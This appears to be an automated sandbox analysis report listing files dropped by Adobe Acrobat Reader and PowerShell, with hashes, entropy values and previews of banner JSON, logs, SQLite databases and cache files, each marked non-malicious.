SHA1:	5B43567C3DC419DB0F549EC5650226BE999DC623
SHA-256:	2FB7B28186E37AB7D553384E1DC86E17F6AC05046AE3BB9BFB0EDBACB88731F9
SHA-512:	49C9433D8E12CF15E859799C9D3915F92BD71F0EF0671664FBB3DBD89911B37CB7DDDFE528B3313252BFE23990A1A81208C0C2B470B03CA126E6A20D96F96456
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fc1c64e-1693-4537-bdf0-2c4656e9587f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736726039750,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2665781127855125
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDaVAmRON5T5Iw1x+FIbRI6XVW7+0Ya1eoAvJfbPtdPeUkwRe9:YvXKXkZRyvb1UYpW7/fGDV8Ukee9
MD5:	72189FCFD9D9F3B02A8B1DEE41F5CFA0
SHA1:	0A020C353CEB148D8FCAAE478372E202EA555093
SHA-256:	E4CC9FDDC95AA1DC286D7C84117C63FF66E9F8D0CEBAC72D64A3146C2649514C
SHA-512:	C2156D2ADD9155DC35FEC86216EE4292E3295AF0DF93DD42101B4325C250D2D69634834D6BD8917FC8FB3A1CF2DE270378F7DF03724D85F435CA475D82BD9906
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fc1c64e-1693-4537-bdf0-2c4656e9587f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736726039750,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.267365080446959
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDaVAmRON5T5Iw1x+FIbRI6XVW7+0Ya1eoAvJf21rPeUkwRe9:YvXKXkZRyvb1UYpW7/fG+16Ukee9
MD5:	E55B74672A26EE9C5E27CB190AB0A972
SHA1:	F0699B6734AC3278C644CC664A94AB8571DDAD61
SHA-256:	86B29566311E1F5DCD67E7C2F20168B4DB2D1D8C28979F4FC6073A567738F698
SHA-512:	F2CD7573CBCA8DA40ECF5F35794CD1ADEF908263EA66DEC3E1AC84B2C51E547029A15FDB1B957084503634474CAFD53CD4B285D4E5674F2DF31A291D0C313FC6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fc1c64e-1693-4537-bdf0-2c4656e9587f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736726039750,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.663080872317262
Encrypted:	false
SSDEEP:	24:Yv6XB1Fi/gamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSc1:YvWS/mBgkDMUJUAh8cvMc1
MD5:	154A5DABAE3F899F51ECFD1C2883FE6B
SHA1:	77E59C7EE8EDCA76BBC80A0C16268EC2C680CA7C
SHA-256:	7D4491D55E9247A14E08C92311DCE4EEEDFBCC293566610BA158AAA1B63DE1CD
SHA-512:	8210EDE34C0506DC9D0159C85EAB64F81EC4FD150423DD5FBE137A40FFB3D66A34E4EC267CFF435D2BFD174D7FB548697F408C07B38C7924A63C7BEB0305E18D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fc1c64e-1693-4537-bdf0-2c4656e9587f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736726039750,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.24358560407109
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDaVAmRON5T5Iw1x+FIbRI6XVW7+0Ya1eoAvJfshHHrPeUkwRe9:YvXKXkZRyvb1UYpW7/fGUUUkee9
MD5:	9664543025301CEB48ADD7C04BD72FA8
SHA1:	EFE2FCB3FE336A9439522A00EC8B70242F0F550B
SHA-256:	F03D649EDC5E16C3DF8D6FB4211904CD178638D64FEBB13CFE1BA8DFE750FCBA
SHA-512:	D820EF78B5D706F2F4A8E9C1471C33A6FBE335EA08716CDB55BB5330AC417E71338F49F626E4D861B712316968843459F7EF21507D693A027D1CB70C01FC85DE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fc1c64e-1693-4537-bdf0-2c4656e9587f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736726039750,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.254184041423177
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDaVAmRON5T5Iw1x+FIbRI6XVW7+0Ya1eoAvJTqgFCrPeUkwRe9:YvXKXkZRyvb1UYpW7/fGTq16Ukee9
MD5:	0D6036664A990D43335A482AA00DE694
SHA1:	29E4F05E22BB17744033767CDC563D7F6C34AAE9
SHA-256:	E18C23C918FE6E8BA94E85B2CEBBB52714EB28A9EADEC19A05CD9585F114F82B
SHA-512:	64197E5C48BA0D8A474103CCFCDD7B7A8AEDAD05D0B5EF3B7CBE5C590C92C1483F7FD5A74EEFD6736B0F4DD273C60FCE861CEDE952404130B77E4FB7E06853AA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fc1c64e-1693-4537-bdf0-2c4656e9587f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736726039750,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.142702348032297
Encrypted:	false
SSDEEP:	24:Y5sDqag1ayKMP6cf6+TQ2Wj2j0SumZCS2ed/2LSgC6cln0zghIbd5rU99AfunOG:Y5Tf67INZVZqnclZI+99A4
MD5:	7DAAF83C8594D9B4AAA3EAACA35C4E39
SHA1:	65BEA578D3B06A7911F5D190FE89447D19638B96
SHA-256:	E06D2370CCA44F61295D3E51DF7CC50716EDFF65411DAD5E4C3B5393171EC10E
SHA-512:	7AB105669881548D05E6D924EC4BFA61A8A53688D7E8DD93FF9BA732D4F03BB02CBD74A98CDFB5279999FB753B046DA97645C7E22721D09DF0D23844432B3A3A
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"c4de1cb5eac261d97454e101bde63898","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736548274000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"17286a08474044d51cb2f4798b8cf6b1","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736548274000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"caa900529a3ef173b927080991211afa","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736548274000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"b6d4ac545bf7647c0100a8c6bfe79969","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736548274000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"162a9f175677ba11969f755456d21ed5","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736548274000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"28da1091f7d79ffd0e33e43700b6dd98","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9856227465296407
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Sp24zJwtNBwtNbRZ6bRZ4nF:TVl2GL7ms6ggOVpBzutYtp6Pk
MD5:	BA0E777D11A8ECB6DD4D8BB04A2974D0
SHA1:	0FE1D0F1D358A8B3F8EEF32EDDB89F5CAA874A11
SHA-256:	778EC944F742E0A221DD35976DBE25D947A9F19EE0C37BE4F7CE8D9C3742B141
SHA-512:	0471059059BA3266DB0996A398B275E80000133390F67EA7D93E3B88F36ED78DFE4F4441F8B01A2D38007B54E078EC3920F3B2B44349F6F20C79DEB1CC741DC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3388665766740522
Encrypted:	false
SSDEEP:	24:7+t3AD1RZKHs/Ds/Sp2PzJwtNBwtNbRZ6bRZWf1RZKnqLBx/XYKQvGJF7ursM:7M3GgOVpazutYtp6PMmqll2GL7msM
MD5:	608C2109FC42C650344C9624C310FA5C
SHA1:	B2611BBDF88F4396693AD95F7C313D47129C51C4
SHA-256:	36F33D9F3BEBD9A141329D371BBBFEA1CC72D1C972A533A6B6986B192A7FADCA
SHA-512:	9D2B11288181752047A89FC8E71CE7D36F66BAA91E8FA1F543A29967A3F34D4C217480CBA207A7323F72CD19E7086C5C3EEB530FC6386D4ED8A028FB5DCD8C90
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgckdgOU95GKIWdBShzktkwxK5MyYyu:6a6TZ44ADEoDIWd4zktkwxcLK
MD5:	CABBFF2DEDBA34BEBE1CE59416DD4511
SHA1:	84F49DE48CCBA915A3AC6F63A7FBA265B912D65C
SHA-256:	834246ACF34F62B9DF4BB04B9F9A0CD2CDB862C94BAD3BDAB006903B51B79BEE
SHA-512:	2D79EA4291DB2E72D025D812A7654B9FB3ED40F07019CA24C4AAAC639A967A83EA471655AD0593E6D4999680C1770DA042DE58FCA3A5974DAC1A110F88F57F57
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI707c9.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4967695053263634
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEc:Qw946cPbiOxDlbYnuRK+bDc
MD5:	0E6150521FC961BBC90BFFEFE2D4445F
SHA1:	4D97205938ACBD7765DF7B4EABAD867AA3CE7FA9
SHA-256:	F98FDF4AD0EC68E5F3ACDA91CE20889A718529628520A8A631BD91D8A050EAF6
SHA-512:	20F8262D83F61BCEDE112542C1E5EB16F8E1D2242ADF99F5002927C9B2F222494C5DEA4681BC508FE3050F1E2FD9A9D3D2B4E164CD99625309146638BAB36677
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.7.:.3.1.:.1.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s35f5jkn.xyz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v4yfbhse.ovr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 17-31-08-146.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.366161304598622
Encrypted:	false
SSDEEP:	384:kTHiua3S/b8UJDh/fHGTBjN08TQitG+jcDDfBp5fJ+htCvaMh/+/izYyjfKqioGy:KPX
MD5:	68CBE261D6291C570734366C7841D2CC
SHA1:	EEBCDBB62BB3C638DE2D4C60E147E88B4C70B96F
SHA-256:	DB4B1F28F02EB21E8D12CDF8B0C35E6CA256BCF8948131BA8A4C11D87C9E02CD
SHA-512:	F2499C2A4D0DA6E8E2179CE7C284590796223D0855928B1B9F57F4F90A2A293E37F18EF28BBF4E941154D85FFBA992E5BF8DEAB794B1F7E51F8EEDFC32D2A5E3
Malicious:	false
Preview:	SessionID=57928bda-e438-4257-b2fb-05bc034ab379.1736548268175 Timestamp=2025-01-10T17:31:08:175-0500 ThreadID=7400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=57928bda-e438-4257-b2fb-05bc034ab379.1736548268175 Timestamp=2025-01-10T17:31:08:176-0500 ThreadID=7400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=57928bda-e438-4257-b2fb-05bc034ab379.1736548268175 Timestamp=2025-01-10T17:31:08:176-0500 ThreadID=7400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=57928bda-e438-4257-b2fb-05bc034ab379.1736548268175 Timestamp=2025-01-10T17:31:08:176-0500 ThreadID=7400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=57928bda-e438-4257-b2fb-05bc034ab379.1736548268175 Timestamp=2025-01-10T17:31:08:177-0500 ThreadID=7400 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.394076972235403
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGb1:24
MD5:	623C9DA562DEE65EFC29672085BD72AE
SHA1:	82EEDE4C55BB288051114C768B25F34430FD2537
SHA-256:	E6B49FC8A56B804DC57E8C21478B3B78CEA5C985CB6351D314D4A2B6AE404244
SHA-512:	C477441DFB9AC9370893DE39D63A0D7EA9BDF3B1ECB622E680AEC81B1A73950FA562915ADF02046F14B680EB73CF2414E1E8E5A7548A0C482668B337B87C6D2D
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\35de1d21-3750-49cc-812b-d3e6ce216465.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/n5ZwYIGNPzWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:xZwZG5WLxB3mlind9i4ufFXpAXkrfUsb
MD5:	E78E4D1CA18BE28748F65C3A192DAFB2
SHA1:	78AD6025CB470EFB9ECA8FF1ED41F617372D1F9F
SHA-256:	F4B25F5C5BE48E151080D9CC24C8A4662CBB591A6B32037DB8D7ADE1828D8849
SHA-512:	E170C9BD3B6BB575244FCD380334D763C30352586F60824A67868EAE8E895BE0601D51670FCC304724BDF321CE8EF64881E606C9CF4C18C5817DFB5A679E44D6
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\3d444ed2-a6ed-4751-a073-97baff7ed516.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

